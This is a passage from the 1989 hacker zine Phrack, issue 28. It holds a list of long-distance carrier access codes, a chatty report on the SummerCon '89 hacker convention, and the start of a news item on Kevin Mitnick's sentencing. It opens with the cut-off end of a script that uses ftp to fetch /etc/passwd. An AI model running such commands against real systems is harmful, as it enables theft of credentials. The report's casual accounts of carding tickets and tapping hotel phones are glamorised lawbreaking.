<< EOF mode ascii verbose trace get /etc/passwd /tmp/pw.$1 quit EOF -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= ___________________________________________________________ ==================================================== ==Phrack Inc.== Volume Three, Issue 28, File #7 of 12 ____________________________________ \ / \ Other Common Carriers (OCCs) / \ / \ A List By Equal Axis / \ / \ September 19, 1989 / \______________________/ Hi everyone. One hundred percent accuracy is not guaranteed. Many small long distance companies operate for a few months or a year and then then merge with others or go out of business, etc. Also, not all of the places listed below work in every location. The only ones you can assume work almost everywhere are MCI, Sprint, AT&T, Western Union, and Telecom USA. Most of the others are strictly local, appearing in just a few states or cities. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 001 MidAmerican LD (Republic Telecom) 002 AmeriCall LDC 003 RCI Corporation 007 Tel America 011 Metromedia Long Distance 012 Charter Corporation (Tri-J) 013 Access Services 021 Mercury 022 MCI Telecommunications 023 Texnet 024 Petricca Communications Systems 028 Texnet 030 Valu-Line of Wichita Falls 031 Teltec Saving Communications 033 US Sprint 036 Long Distance Savers 039 Electronic Office Centers of America (EO/Tech) 042 First Phone 044 Allnet Communication Services (LDX, Lexitel) 053 American Network (Starnet) 056 American Satellite 057 Long Distance Satellite 059 COMNET 060 Valu-Line of West Texas 063 COMNET 069 V/COM 070 National Telephone Exchange 080 AMTEL Systems 084 Long Distance Service (LDS) 085 WesTel 088 Satellite Business Systems (MCI) 089 Telephone Systems 090 WesTel 093 Rainbow Communications 095 Southwest Communications 099 AmeriCall 122 RCA Global Communications 137 All America Cables and Radio (ITT) 142 First Phone 146 ARGO Communications 188 Satellite Business Systems 201 PhoneNet 202 ExecuLines 203 Cypress Telecommunications (Cytel) 204 United Telephone Long Distance 206 United Telephone Long Distance 211 RCI 212 Call US 213 Long Distance Telephone Savers 214 Tyler Telecom 215 Star Tel of Abilene 217 Call US 219 Call USA 220 Western Union Telegraph 222 MCI Telecommunications (SBS) 223 Cable & Wireless Communication (TDX) 224 American Communications 227 ATH Communications (Call America) 229 Bay Communications 232 Superior Telecom 233 Delta Communications 234 AC Teleconnect (Alternative Communication) 237 Inter-Comm Telephone 239 Woof Communications (ACT) 241 American Long Lines 242 Choice Information Systems 244 Automated Communications 245 Taconic Long Distance Service 250 Dial-Net 252 Long Distance/USA 253 Litel Telecommunications 255 All-State Communications 256 American Sharecom 260 Advanced Communications Systems 263 Com Systems (Sun Dial Communications) 268 Compute-A-Call 276 CP National (American Network, Starnet) 284 American Telenet 286 Clark Telecommunications 287 ATS Communications 288 AT&T Communications 298 Thriftline 302 Austin Bestline 303 MidAmerican LD (Republic Telecom) 311 SaveNet (American Network, Starnet) 318 Long Distance Savers 321 Southland Systems 322 American Sharecom 324 First Communication 331 Texustel 333 US Sprint 336 Florida Digital Network 338 Midco Communications 339 Communication Cable Laying 343 Communication Cable Laying 345 AC Teleconnect (Alternative Communication) 350 Dial-Net 355 US Link 357 Manitowoc Long Distance Service 362 Electronic Office Centers of America (EO/Tech) 363 Tel-Toll (Econ-O-Dial of Bishop) 369 American Satellite 373 Econo-Line Waco 375 Wertern Union Telegraph 385 The Switchboard 393 Execulines of Florida 400 American Sharecom 404 MidAmerican LD (Republic Telecom) 412 Penn Telecom 428 Inter-Comm Telephone 432 Lightcall 435 Call-USA 436 Indiana Switch 440 Tex-Net 441 Escondido Telephone 442 First Phone 444 Allnet Communication Services (LDX, Lexitel) 455 Telecom Long Distance 456 ARGO Communications 462 American Network Services 464 Houston Network 465 Intelco 466 International Office Networks 469 GMW 472 Hal-Rad Communications 480 Chico Telecom (Call America) 488 United States Transmission Systems (ITT) 505 San Marcos Long Distance 515 Burlington Telephone 529 Southern Oregon Long Distance 532 Long Distance America 533 Long Distance Discount 536 Long Distance Management 550 Valu-Line of Alexandria 551 Pittsburg Communication Systems 552 First Phone 555 TeleSphere Networks 566 Cable & Wireless Communication (TDX) 567 Advanced Marketing Services (Dial Anywhere) 579 Lintel System (Lincoln Telephone LD) 590 Wisconsin Telecommunications Tech 599 Texas Long Distance Conroe 601 Discount Communications Services 606 Biz Tel Long Distance Telephone 622 Metro America Communications 634 Econo-Line Midland 646 Contact America 654 Cincinnati Bell Long Distance 655 Ken-Tel Service 660 Tex-Net 666 Southwest Communications 675 Network Services 680 Midwest Telephone Service 682 Ashland Call America 684 Nacogdoches Telecommunications 687 NTS Communications 700 Tel-America 704 Inter-Exchange Communications 707 Telvue 709 Tel-America 717 Pass Word 726 Procom 727 Conroe-Comtel 735 Marinette-Menominee Lds 737 National Telecommunications 741 ClayDesta 742 Phone America of Carolina 743 Peninsula Long Distance Service 747 Standard Informations Services 755 Sears Communication 757 Pace Long Distance Service 759 Telenet Communication (US Sprint) 760 American Satellite 766 Yavapai Telephone Exchange 771 Telesystems 777 US Sprint 785 Olympia Telecom 786 Shared Use Network Service 787 Star Tel of Abilene 788 ASCI's Telepone Express Network 789 Microtel 792 Southwest Communications 800 Satelco 801 MidAmerican LD (Republic) 827 TCS Network Services 833 Business Telecom 839 Cable & Wireless Communication (TDX) 847 VIP Connections 850 TK Communications 852 Telecommunicatons Systems 859 Valu-Line of Longview 866 Alascom 872 Telecommunications Services 874 Tri-Tel Communications 879 Thriftycall (Lintel Systems) 881 Coastal Telephone 882 Tuck Data Communications 883 TTI Midland-Odessa 884 TTI Midland-Odessa 885 The CommuniGroup 888 Satellite Business Systems (MCI) 895 Texas on Line 897 Leslie Hammond (Phone America) 898 Satellite Business Systems (MCI) 910 Montgomery Telamarketing Communication 915 Tele Tech 933 North American Communications 936 Rainbow Commuinications 937 Access Long Distance 938 Access Long Distance 951 Transamerica Telecommunications 955 United Communications 960 Access Plus 963 Tenex Communications 969 Dial-Net 985 America Calling 986 MCI Telecommunications (SBS) 987 ClayDesta Communications 988 Western Union Telegraph 991 Access Long Distance ____________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #8 of 12 PWN ^*^ PWN ^*^ PWN { SummerCon '89 } PWN ^*^ PWN ^*^ PWN ^*^ ^*^ PWN P h r a c k W o r l d N e w s PWN ^*^ ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ ^*^ PWN Special Edition Issue Three PWN ^*^ ^*^ PWN "Meet The Hackers Behind The Handles" PWN ^*^ June 23-25, 1989 ^*^ PWN PWN ^*^ Created, Written, and Edited ^*^ PWN by Knight Lightning PWN ^*^ ^*^ PWN ^*^ PWN ^*^ PWN { SummerCon '89 } PWN ^*^ PWN ^*^ PWN SummerCon... What is it? In many ways, SummerCon is much more than just a convention that attracts America's greatest phreaking and hacking personalities. SummerCon is a state of mind. Hackers by nature are urged on by a hidden sense of adventure to explore the unknown, to challenge the unchallenged, to reach out and experiment with anything and everything. The realization that we are not alone in our quest sometimes comes as a great gift and the opportunity to meet one's heroes, partners, and idols can be the most awe-inspiring aspect of the hacker community -- this is what SummerCon is all about. On the surface, SummerCon looks like a handful of youths hanging out at a hotel in St. Louis, Missouri. To me, it is more like one of those madcap movies you see on late night Home Box Office or something. No real point or direction, rebels without cause, all in the name of frantic fun and games. The atmosphere surrounding SummerCon is that of a dream world where once a year you can escape to a fantasy where ingenuity is king and you have friends around you at every moment. SummerCon itself may only last a weekend, but the friendships last a lifetime. Welcome to SummerCon '89! This special edition of Phrack World News contains the exclusive coverage of the events and activities of a handful of the nation's greatest hackers on June 23-25, 1989. PreCon '89: Knight Lightning and Taran King Make Plans ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ We remembered the fun at SummerCon '87 and how SummerCon '88 had lacked something. In a sense, the first SummerCon was very private because almost all of the attendants were members on Metal Shop Private, the bulletin board that was once the center of the "elite" modem community. The second SummerCon was a little different. Both Taran and I had been out of action for nearly a year and we had not intended to hold another convention ever again until June 1988 when we both decided that one good convention deserves another. SummerCon '88 was thrown together and a few changes were made. It was good, but this year we decided to set our sights higher than ever. PreCon '89: The Early Birds Thursday Evening, June 22, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The first guests to this year's convention arrived a day ahead of schedule. Control C, a veteran of the previous two conventions, and Erik Bloodaxe flew in to St. Louis on Thursday evening, June 22, 1989. They were greeted by Forest Ranger and then after some rowdy activities at the airport, the threesome adjourned to the Best Western Executive International hotel -- The very same hotel where the first SummerCon was held in June 1987. Around 10 PM, Taran King and I met up and being unable to locate Control C, Erik Bloodaxe, and Forest Ranger, we decided to take a trip to the hotel on the chance that they would be there by the time we showed up. As we approached the hotel, I felt a strange sensation like deja-vu. It had been two years since I had been to the Executive International, or even anywhere near that part of town (with the exception of the airport). At any rate, luck was on our side. We raced through the newly remodeled hotel lobby and out past the pool. Control C's and Erik Bloodaxe's room stuck out like a beacon. Their room became known as the "Doom Room" in recognition of the many members of the Legion of Doom/Hackers that stayed there throughout the course of the weekend. Control C and Erik Bloodaxe told us all about Black Ice-Con which had taken place the weekend prior to SummerCon '89 in Dallas, Texas. The supposedly secret convention had been infiltrated by security agents from U.S. Sprint. They believed that the leak existed on Black Ice itself, the bulletin board from which the con took its name and all members were invited (there were less than 20 people on the board). They named who they thought the leak was, but discretion prevents printing his name here. On a side note, Black Ice was crashed by SuperNigger and abandoned by the members of LOD thereafter. Erik had some interesting business cards with him. He passed several of them out to interested hackers and other miscellaneous people at the hotel and in the St. Louis metropolitan area as well. These cards featured Erik Bloodaxe and the following organizations; - American Telephone & Telegraph [AT&T] - Federal Bureau of Investigation [FBI] (Department of Justice) - Secret Service (Department of Treasury) - Southwestern Bell Telephone Company - Tymnet (McDonnel Douglas) Erik gave Taran and I each a set of the cards as souvenirs of his visit. Both of us had to work early morning shifts the next day so a little after midnight we decided to leave. I finally went to sleep around 1 AM. SummerCon '89: The Adventure Begins Friday Morning, June 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I woke up around 5 AM to begin my day. I had arranged to work the morning shift 6-10 AM in order to avoid having to work the rest of the day and weekend. I returned home around 10:30 AM and I began the final work on Phrack 27. Although the issue date is June 20, 1989, we did not really release the issue until June 27, due to complications with SummerCon '89 and other events. All of the sudden I received a call from another veteran of SummerCons past, a person who swore that he would not appear at this year's convention... TUC! He tried to convince me that he was in Florida or anywhere but St. Louis. I asked him if he needed a ride from the airport to the hotel or something. The call sounded local as hell, but he insisted on remaining consistent with his story for another few minutes. Then my call waiting beeped and it was Taran King. I juggled the lines for a few minutes and then had Taran call Tuc (who was at the Executive International) while I got ready to go meet him at the hotel. As I was leaving my home, I noticed something sticking to the front door. It was a notice from United Parcel Service. How odd. I did not notice it at 10:30 AM when I returned home and I did not not hear anyone knock on the door since I had been home. Still, the note said that they had left my package at the subdivision club house. So I dropped in there and found my package... would you believe it came from Francis J. Haynes... Frank of "Frank and the Phunny Phone Call" himself and that is exactly what was inside: A cassette tape sampler of Frank and the Phunny Phone Call. Incidentally, Frank is being mastered on to compact disc and will be available for sale soon. More details on this will appear in Phrack World News in the near future. Eventually, I reached the hotel. Control C and Erik Bloodaxe were nowhere to be found and Forest Ranger and Taran King were unavailable. I found Tuc and we decided to go grab lunch and drive around for a while. We returned to the hotel and traded war stories about the past year and decided to call the hotel office to see who might have checked in during the past few hours. No one we recognized was here yet, but there was a call for Tuc on another line. The lady at the office switched the call into Tuc's room and I picked it up. It was Crimson Death of 618. He wanted us to know that he was arriving by bus later that evening and would need a ride at about 10:45 PM. He also informed us that Dr. Cypher was on his way in and would arrived at the airport's bus terminal and take the shuttle to the hotel. He was unsure about what time this would occur. I told him I could pick him up at the bus terminal and that I had to get off the phone. I did, you see because it was at about this time that Tuc had opened the windows and looked out by the pool terrace. Control C, Erik Bloodaxe, Forest Ranger, The Urvile, and a guy by the name of Phil Free (known under various other handles including Judas Christ) were out poolside and upon noticing us had run over to climb through the window into the room. A Gathering Of Phreaks Friday Afternoon, June 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~ Finally the convention began to get underway. Greetings were exchanged and some discussion about last year's convention took place. I had brought laser printed copies of Phracks 21 - 26 into Tuc's room and everyone was interested in taking a look. The Urvile was especially curious about a certain quicknote that appeared in Phrack World News Issue XXV/Part 3. I would guess that the particular quicknote in question was number five...it was about Telenet security, but this is a story for another day. The phone rang and Tuc answered. He handed the phone to Control C, who then disappeared without saying anything. It was obvious that Lex Luthor had arrived. However, he wished to make his current state of residence remain anonymous and so he decided to park his car someplace other than the hotel parking lot and thus he needed covert assistance. After a few minutes Control C returned with Lex and then all of the LODies ran quickly to the Doom Room. Taran King showed up around this time and then Tuc, FR, TK, and I joined the others. Shortly afterwards, Taran King, Erik Bloodaxe, and I decided to go have a listen to Frank and the Phunny Phone Call. I had not played it yet and so we set up in the hotel lobby. The first part of the tape was not about Frank at all. It was a never-released, newly produced musical selection that seemed to be called "My Telephone Is Acting Crazy." It was interesting as it employed different familiar telephone error messages, common types of recordings, and touch tones. When the actual Frank messages began, we stopped the tape and left the lobby immediately to avoid being thrown out -- the language was a little too obscene for the conservative employees behind the desk. So we wandered the hotel looking for a place to play the tape. In the process we met Doc Holiday and Hugo Danner. We finally gained access to Tuc's room (he was with Forest Ranger, Phil Free, and the LOD in the Doom Room). Doc Holiday and Hugo went to drop their bags off in their room and ended up in the Doom Room as well. TK, EB, and I remained in Tuc's room to hear the rest of the tape. There was a knock at the door... it was Bill From RNOC. Taran and BFR disappeared almost instantly as Erik Bloodaxe began to pursue Bill. He evidently had some score to settle. However, TK and BFR were gone as if they had become invisible. Erik decided to finish listening to the tape. We did and then went on to the Doom Room where we discovered Lucifer 666 and Synthetic Slug had arrived. L666 had many stories to tell about their trip to St. Louis and he also brought a video camera. His biggest concern was that his camera would scare the hell out of Lex... and to some extent it did. You see, as it was explained to me by the LOD members (with Lex Luthor absent at the time) there is paranoia and beyond paranoia, there is Lex. SummerCon Craziness Friday Afternoon, June 23, 1989 ~~~~~~~~~~~~~~~~~~~ As many readers might already known, St. Louis is the world headquarters for McDonnell Douglas Aircraft, the firm that also owns Tymnet. This was no secret to the Legion of Doom, who led a series of successful trashing raids on them as well as Southwestern Bell and IBM. The way I heard it, they even took pictures. Meanwhile, after spending some time hanging out with the gang at the Executive International, Bill From RNOC, Taran King, Tuc, Lex Luthor, and I went to get a bite to eat. We ended up at Wendy's because Tuc, being a vegetarian, wanted the salad bar. We had a little fun harassing the staff (who still owes BFR an iced tea). We began to speculate on who this year's security agent would be... after all there is always some informant or plant at SummerCon -- it has become a tradition. At this point, everyone's best bet was on Dr. Cypher. Cypher had admitted to having connections on the security side of things, had once claimed to be busted and/or retired, supposedly told U.S. Sprint all about Black Ice Con (to hell with discretion), and all in all, was the major unknown who best fit the mold set forth by Dan The Operator at SummerCon '87 (although his friend that showed up with him, Cryptic Fist fit the mold rather well too, but this is detailed later). This is just what I had gathered from various people at the convention and are not necessarily my personal views. The obvious telephone security person there was from Michigan Bell -- Control C -- But no one was really worried about him. He had been able to attend Black Ice-Con and SummerCon '88 all expenses paid by Michigan Bell, but he said that since his superiors have read the PWN reports of SummerCons past, they felt that this trip was pleasure, not business, and would not give him a free ride any longer. I hate to break this to the security folks out there, but honestly, do you think I would write an article and include information like whose computers, passwords, codes, and whatever were handed out and discussed? Why create negative publicity like that. Don't you all worry though... none of that EVER goes on at SummerCon :-) Before we left Wendy's, Tuc and BFR grabbed a stack of taco shells and as we journeyed towards the hotel, BFR and Tuc proceeded to throw parts of these shells at other vehicles and pedestrians. A few minutes after we had returned, everyone began getting together to go pickup Android Pope (aka Cisban Evil Priest) at the airport. It was 7:15 PM by now and his flight from New Jersey was supposed to arrive at 7:54 PM. "Are you an agent of the FBI or Secret Service?!" This was Lucifer 666's standard question that he asked everyone he came into contact with at the hotel -- guests, office personnel, porters, and even the shuttle bus driver. They all replied with a confused "no." It seemed to take an hour to get the shuttle bus ready for passengers. Bill From RNOC, Taran King, and I were going to just hang out at the hotel, but I was shanghaied on to the bus to the airport. Just before we took off, the older gentleman that was serving as our bus driver turned around and said, "You know how you fellas were asking me if I was with the FBI..." We all froze instantly as he pulled out his badge. No, he was not with the FBI, but he was a recently retired deputy police chief for the St. Louis County Police Department. Control C later remarked to me that when the driver had shown his badge, he had half expected to hear a loud series of clicks as the locks to all of the doors on the shuttle bus shut and a barrier of some sort appeared between the driver and the passengers... all of whom were SummerCon guests. Instead, several of the hackers, Hugo and Forest Ranger for the most part, began to question the retired officer about his gun fights. The driver remarked how he had been shot before and even went so far as to show us some of his scars. Lucifer asked, "Did you kill the guy who shot you?" The driver responded, "Certainly." This line of questioning went on for the duration of the trip. We got to the airport and moved out. Erik Bloodaxe: Missing In Action Friday Evening, June 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Upon entering the lower terminal of Lambert Field (St. Louis International Airport), this "motley crew" encountered a blonde bombshell named Stephanie on one of the nearby payphones. Control C was the first to approach her and he asked her if she was talking to her boyfriend. She wasn't and so he proceeded to take the handset and talk to her friend. In the meantime, Lucifer 666 was filming the entire affair and several members of the group (not including Lex or Tuc) began having their pictures taken with blondie. This situation soon turned to riot as almost everyone wanted in on this action. Eventually we shuffled off to the American Airlines ticket counter to check up on Android Pope's flight while Forest Ranger apologized for our behavior. The scene at the ticket counter was somewhat grim. You see Android Pope was scheduled to arrive at 7:54 PM and apparently the flight's arrival had been delayed... until 9:00 PM at the earliest. In the meantime, Forest Ranger was having a little chat with Erik Bloodaxe. He told EB that the blondie chick thought he was a big geek and some other nasty things. Erik became so depressed that he headed back to talk to her again, but none of us knew it at the time. So now we had to kill an hour. We started towards the far end of the airport where a restaurant and bar were located. On the way, we encountered some people striking against Eastern and Continental Airlines and handing out stickers that showed "Lorenzo" with a circle around his name and a line through it (much like a no U-turn sign or the NO FEDS pin from SummerCon '88). We took a lot of those stickers and put them on unsuspecting people all over the airport. Upon reaching the area just outside of the bar, we found a row of payphones, a fancy vintage replica of a car, and a wheelchair. Control C hopped into the chair (deja vu of SummerCon '87 occurred here when I remembered how Control C ended up in a swimming pool last time) and Lucifer 666 started driving him all about the airport. The problem was that the wheelchair belonged to this lady who was on the payphones and when she finally noticed that it was missing she tracked Control and L666 down screaming theft. Finally we got to the bar. We sat down and talked for a while watching planes take off and land. After a few minutes I noticed that Erik had disappeared. We retraced our steps all the way back to the payphones where we encountered blondie without any success whatsoever. Then we went to the American Airlines ticket counter and had Erik paged. We also did the same thing at the Trans World Airlines and Braniff ticket counters. Since we could not find him, about half of us decided it was time to head back to the hotel and let the rest of the group wait for Android Pope. We all went out to the street where the buses stop and waited. A very strange incident took place here. Another group of guys ventured forth with a person who was blindfolded and handcuffed. They said, "This is what happens when you break the law guys... illegal trafficking in cocaine... Columbian." Forest Ranger asked if they had any to spare. Oddly enough, they had their own video camera and were filming this and us while we were filming them. They soon disappeared into a parking garage. Eventually the bus came and picked us up. The Urvile, Lucifer 666, Tuc, and Doc Holiday stayed behind to search for Android Pope. They caught a later shuttle bus back to the hotel. However, mere moments after they had arrived, Dr. Cypher showed up claiming he had just got off the shuttle bus. Obviously this could not be true because these buses are very small and there is no way L666, Urvile, Tuc, DH, and AP could have missed him and his friend Cryptic Fist. It was around 11:00 PM when I remembered that Crimson Death was due at the bus station downtown. Bill From RNOC and Taran King accompanied me to go pick him up and were we ever surprised when we saw him. He was no longer the short little kid we had met at SummerCon '88. We returned to the hotel to discover that Erik Bloodaxe had finally made it back. After hearing what Forest Ranger told him about what Stephanie had to say (calling him a geek or something similar), he decided to go to her again. He walked with her to her gate and stayed until her plane left. He later remarked that he had heard us paging him, but decided to ignore it. After his return, the entire SummerCon group headed out to the midnight showing of the premiere day of "Batman." L666 attempted to sneak his video camera into the movie, but changed his mind and did a "jaywalk" instead. After the flick everyone just hung out for a while. The Doom Room crew went to sleep because Control C had an early flight to catch the next morning and Taran and I crashed around 5:30 AM. Conference Day A.M. Saturday Morning, June 24, 1989 ~~~~~~~~~~~~~~~~~~~ The hotel was trashed. Forest Ranger and Lucifer 666 watched as the hotel employees were forced to clean up the mess that was left behind after the previous evening's activities. One maid remarked, "I know my boss wants your business, but he sure as hell don't want all these beer cans." Control C was gone, but he had performed a practical joke on Lucifer 666 and Synthetic Slug before he left, leaning a trashcan full of ice on their door so that when it was opened, all of the ice would fall into the room. According to Erik Bloodaxe, Control C also walked off with a jean jacket that did not belong to him -- No honor among hackers? Aristotle and Predat0r arrived sometime during the morning with a small suitcase full of TAP issues and other materials for the convention. Crimson Death lit a pizza on fire in one of the rooms in order to perform a demonic ritual that was reminiscent of the first SummerCon (1987) when Lucifer 666 attempted (unsuccessfully) to eat fire. The Conference Saturday Afternoon, June 24, 1989 ~~~~~~~~~~~~~~ It was at this time that Taran King, Forest Ranger, and I handed out the Official SummerCon '89 buttons and posters. In addition to this, I handed out keychain flashlights that showed the logo of Ameritech as well as a few specially designed "Legion" buttons to the LOD members that were there. Forest Ranger got things started by welcoming everyone to the conference and asking them to take a seat. Mysteriously, Dr. Cypher had decided not to attend the conference, but his pal Cryptic Fist was there with a micro-tape recorder in the pocket of his leather jacket (that he refused to take off even though it was a blistering 94 degrees). Our first speaker was Aristotle. He talked for a while about the new TAP Magazine, how it worked, and how to subscribe. He took quite a beating from the large amount of criticism directed at him because of the lack of originality in the name of the publication as well as not having been given official permission to use the name. As it turns out, the ownership of the TAP name currently resides with Tuc. Tuc was there at the conference, so Aristotle put the question to him, "Can I do it?" Tuc basically said he thought it was ok, but he wanted to talk to Cheshire Catalyst about it. The situation remains unresolved. The next speaker was Lex Luthor. Lex discussed a topic that was a little more familiar to most everyone at the conference -- Code Abuse. For the most part, he presented the standard methods in which companies try and track down code abusers and strongly advised that everyone not abuse codes. He also went on to criticize Brew Associates for releasing a new edition of Code Thief. Taran and I spoke next. For the most part we talked about Phrack Inc. and what lies ahead concerning the newsletter. We also brought up discussion on the Internet and the plausibility of security agencies using "grep" to track down hackers across the world. We also discussed our recent excursion through a GTE Central Office and what we found. The Urvile gave a short lecture on Unix hacking and then it was Bill From RNOC's turn to speak. For the most part, he discussed 2600 Meetings (that take place once a month at The Citicorp Center in New York City). He spoke briefly about Eric Corley and the publication 2600 Magazine. Afterwards, he played a humorous recording in which he engineered an insane gentleman to believe that he was a news reporter and got his story about computers in Utah taking over the world. That concluded the regularly scheduled speakers. Group discussion began and the topics included: TelePub '86, Scan Man, Cheshire Catalyst, The Bootleg, and Red Knight. We listened to segments of Frank and The Phunny Phone Call and Group Bell Presents the Adventures of Dom Tuffy for a while and then started being really creative. In a high spirited moment we formed a large human pyramid and took pictures (that are supposed to appear in TAP Magazine's next issue). Poolside and Mellow Saturday Evening, June 24, 1989 ~~~~~~~~~~~~~~~~~~~ Aristotle, Predat0r, Doc Holiday, and Hugo Danner had to hit the road soon after the convention ended. However, another friend named Stephan showed up after the conference and so did Doctor Cypher with ParMaster and Rabbit. Cypher told us a story about how PM and Rabbit had carded plane tickets to St. Louis and stayed at the Holiday Inn-West. However, after running up huge tabs at the hotel, the management asked them to pay up in cash and would not accept their credit card numbers. They made a narrow escape from the hotel and arrived at Best Western to stay the night. Par and Rabbit were very outgoing, they wanted to have Tuc, Lex, and Erik come to their yacht in New York and go sailing. It was a very strange situation and parts of their story still do not seem to make sense even today. However, they proceeded to "fuck the phones" at the hotel so that all calls going to the front desk would be intercepted into BFR's room. This was not very pleasurable. Most people went downtown for dinner that night and then everyone ended up outside by the pool having a few drinks. At one point in the evening, Taran, BFR, Stephan, Forest Ranger, and I went back to BFR's room and were followed by Erik Bloodaxe. He accused Bill of being a cocaine dealer and Forest Ranger erupted, "THAT'S NOT COOL FUCKING WITH RNOC MAN!" and the two of them (Erik and FR) came very close to blows. It was soon settled and the partying resumed. A small group of us went on a mission that night and what we discovered is a story for another day, but it kept us busy until almost 6 AM. So Long Farewell Sunday, June 25, 1989 ~~~~~~~~~~~~~~~~ With the exception of Erik Bloodaxe, the Legion of Doom gang had disappeared by the time Taran and I showed up at Best Western. In fact, the only other hackers remaining in the vicinity were Forest Ranger, BFR, Stephan, L666, and Synthetic Slug as far as we could tell. We said goodbye to L666 and SS and the rest of us (not including Erik Bloodaxe, Tuc and Crimson Death who we found out later were still in town) journeyed to Westport Plaza where we spent the rest of the afternoon until it was time for BFR and Stephan to catch their flights. And that was SummerCon '89. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The following are the people who attended SummerCon '89: (23 Total) Android Pope \ Aristotle \ Bill From RNOC \ Control C Crimson Death \ Cryptic Fist \ Doc Holiday \ Doctor Cypher \ Erik Bloodaxe Forest Ranger \ Hugo Danner \ Knight Lightning \ Lex Luthor \ Lucifer 666 ParMaster \ Phil Free \ Predat0r \ Rabbit \ Stephan \ Synthetic Slug Taran King \ Tuc \ The Urvile - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Who Didn't Attend SummerCon '89... And Why! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ax Murderer: "Definitely next year." Bad Subscript: "Dan wouldn't pay for me this time." Broadway Hacker: "I have a date that weekend." Cheshire Catalyst: "I have a HAM convention." CompuPhreak: "I was trying to fix my Watson." Eric Corley: "It's either this or GHP." Cray-Z Phreaker and SkunkWorks gang: "I was competing in a regatta." DarkMage: "My hard disk drive broke and I need the cash to fix it." The Datamaster, Peter Pulse, Magnetic Surfer: "It should be in New York City." Dave Starr: (Disappeared off of the face of the earth again) Dead Lord: "I was at camp." Delta-Master: "I am going to the Galactic Hackers Party too." (No show) The Disk Jockey and Shade: "I thought it was next weekend...sorry." Epsilon: "My mom said she didn't feel like going to St. Louis." The Executioner: "I had a beauty shop appointment." Katie Hafner: "Forest Ranger would not let me go." Hatchet Molly: "I got married." Karl Marx: "I had a job interview... sue me." The Leftist: " I'm in the hospital." MAC???: "Why don't you guys have it in California this year?" John Maxfield: "I was there... the Holiday Inn-West, right?" The Mentor: "I'll have my own in Texas instead." Oryan QUEST: "I got deported." Phantom Phreaker and Doom Prophet: "We went camping... with our parents." Phrozen Ghost and Surfer Bob: "Scared of seeing Crimson Death." Promethius: "I decided to spend the weekend with Broadway Hacker instead." Red Knight: "I was in Kenya visiting relatives." Remington Steal and Chanda Leir: "We'd rather be alone if you don't mind." Sigmund Fraud: "I still have another 7 or 8 weeks of basic training." Silver Spy: "I'll be there if I can." Sir Francis Drake: "Had to get my other nostril pierced." The Renegade Chemist: "I didn't feel like taking the heat for MY TAP." Tuc: "I am never coming to another convention again... whoops!" VaxCat and Phase Shifter: (In August) "When is that anyway?" Violence and The Scythian: "We got busted by SoutherNet, but we'll be there!" Needless to say, those who missed the convention, missed out. Plans are already underway for SummerCon '90 --KL __________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #9 of 12 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN P h r a c k W o r l d N e w s PWN PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN PWN Issue XXVIII/Part 1 PWN PWN PWN PWN October 7, 1989 PWN PWN PWN PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Welcome to Issue XXVIII of Phrack World News! This issue of Phrack World News contains stories and articles detailing events from June - October, 1989 and features Bellcore, Chalisti, Chaos Computer Club, Clifford Stoll, The Disk Jockey, Fry Guy, The Grim Phreaker, Legion of Doom, The Leftist, Major Havoc, Kevin Mitnick, Robert Morris, Oryan QUEST, The Prophet, Red Rebel, Shadow Stalker, Shadow 2600, Terra, The Urvile, and much more so keep reading. "The Real Future Is Behind You... And It's Only The Beginning!" _______________________________________________________________________________ Judge Suggests Computer Hacker Undergo Counseling July 17, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Karen E. Klein (New York Times) LOS ANGELES -- A federal judge has suggested that Los Angeles computer hacker Kevin Mitnick be sentenced to a one-year residential treatment program to break his "computer addiction." Although she did not finalize her sentence, U.S. District Judge Mariana R. Pfaelzer said Monday that she thought Mitnick had some problems that would benefit from counseling. Pfaelzer will actually pass sentence at a hearing set for Tuesday, July 18. The idea that a computer "junkie" who cannot control his urge to break into computers could be helped with a program similar to Alcoholics Anonymous is a new one, Harriet Rossetto, director of the treatment program, told the judge. "His behavior is an impulse disorder," Rossetto said. "The disease is the addiction, whether it be drugs, alcohol, gambling, hacking, money or power." Rossetto, who was contacted by Mitnick's family, said Mitnick would be the first person addicted to computer crime to be treated in the Bet T'shuvah program , a 20-bed residential treatment program for Jewish criminal offenders. "It's not willful conduct, what Kevin does," she said. "He's tried to control his behavior but hacking gives him a sense of power, makes him feel like somebody when he's depressed or he's lost a job." Mitnick, age 25, has been in federal prison for seven months since his arrest last December on computer fraud charges. He pleaded guilty in May to possessing 16 unauthorized MCI long-distance codes and to stealing a computer security program from the Digital Equipment Corporation in Massachusetts. Mitnick has been described in court as a computer whiz who could break into secured systems and change telephone or school records at will. He told the judge on Monday, July 17 that he wants to stop hacking. "I sincerely want to change my life around and be productive rather than destructive," Mitnick said. "With counseling to break the addictive pattern I feel I have towards computer hacking, I can take an active role and I don't have to have the compulsive behavior again." Assistant U.S. Attorney James R. Asperger said that the government does not oppose Mitnick's release from prison to be treated at Bet T'shuvah. "The judge has taken this case very seriously. It shows computer hacking is not like a Nintendo game," Asperger said. Mitnick has cooperated with FBI investigators since his pleaded guilty and helped bring charges against his former best friend, Leonard DiCicco, 23, of Calabasas, Asperger said. DiCicco, who initially tipped the FBI to Mitnick's crimes, has agreed to plead guilty to a charge of aiding and abetting the transportation of a stolen computer program. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Authorities Backed Away From Original 